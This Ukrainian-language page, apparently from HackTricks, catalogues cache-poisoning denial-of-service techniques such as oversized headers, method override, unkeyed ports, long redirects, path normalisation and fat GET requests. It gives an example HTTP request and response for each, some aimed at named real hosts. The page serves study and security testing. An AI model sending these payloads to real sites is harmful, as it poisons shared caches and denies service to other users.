# Cache Poisoning to DoS {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] > На цій сторінці ви можете знайти різні варіації, щоб змусити **веб-сервер відповідати з помилками** на запити, які є **допустимими для кеш-серверів** - **HTTP Header Oversize (HHO)** Відправте запит з розміром заголовка, більшим за той, що підтримується веб-сервером, але меншим за той, що підтримується кеш-сервером. Веб-сервер відповість з кодом 400, який може бути кешований: ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` - **HTTP Meta Character (HMC) & Unexpected values** Відправте заголовок, що містить деякі **шкідливі мета-символи**, такі як і . Щоб атака спрацювала, спочатку потрібно обійти кеш. ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` Погано налаштований заголовок може бути просто `\:` як заголовок. Це також може спрацювати, якщо надсилаються несподівані значення, такі як несподіваний Content-Type: ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` - **Unkeyed header** Деякі веб-сайти повернуть код статусу помилки, якщо вони **побачать деякі специфічні заголовки** в запиті, як-от заголовок _X-Amz-Website-Location-Redirect: someThing_: ``` GET /app.js HTTP/2 Host: redacted.com X-Amz-Website-Location-Redirect: someThing HTTP/2 403 Forbidden Cache: hit Invalid Header ``` - **HTTP Method Override Attack (HMO)** Якщо сервер підтримує зміну HTTP-методу за допомогою заголовків, таких як `X-HTTP-Method-Override`, `X-HTTP-Method` або `X-Method-Override`, можливо запитати дійсну сторінку, змінюючи метод, так що сервер не підтримує його, і тому погана відповідь кешується: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` - **Unkeyed Port** Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` - **Long Redirect DoS** Як у наступному прикладі, x не кешується, тому зловмисник може зловживати поведінкою відповіді перенаправлення, щоб зробити так, щоб перенаправлення відправляло URL, який настільки великий, що повертає помилку. Тоді люди, які намагаються отримати доступ до URL без некешованого ключа x, отримають відповідь з помилкою: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 301 Moved Permanently Location: /login/?x=veryLongUrl Cache: hit GET /login/?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` - **Нормалізація регістру заголовка хоста** Заголовок хоста повинен бути нечутливим до регістру, але деякі веб-сайти очікують, що він буде в нижньому регістрі, повертаючи помилку, якщо це не так: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com HTTP/1.1 404 Not Found Cache:miss Not Found ``` - **Нормалізація шляху** Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шляху та зберігає відповідь для URLdecoded шляху: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com HTTP/1.1 404 Not Found Cach:miss Not Found ``` - **Fat Get** Деякі кеш-сервери, такі як Cloudflare, або веб-сервери, зупиняють GET-запити з тілом, тому це може бути використано для кешування недійсної відповіді: ``` GET /index.html HTTP/2 Host: redacted.com Content-Length: 3 xyz HTTP/2 403 Forbidden Cache: hit ``` ## Посилання - [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) - [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) {{#include ../../banners/hacktricks-training.md}}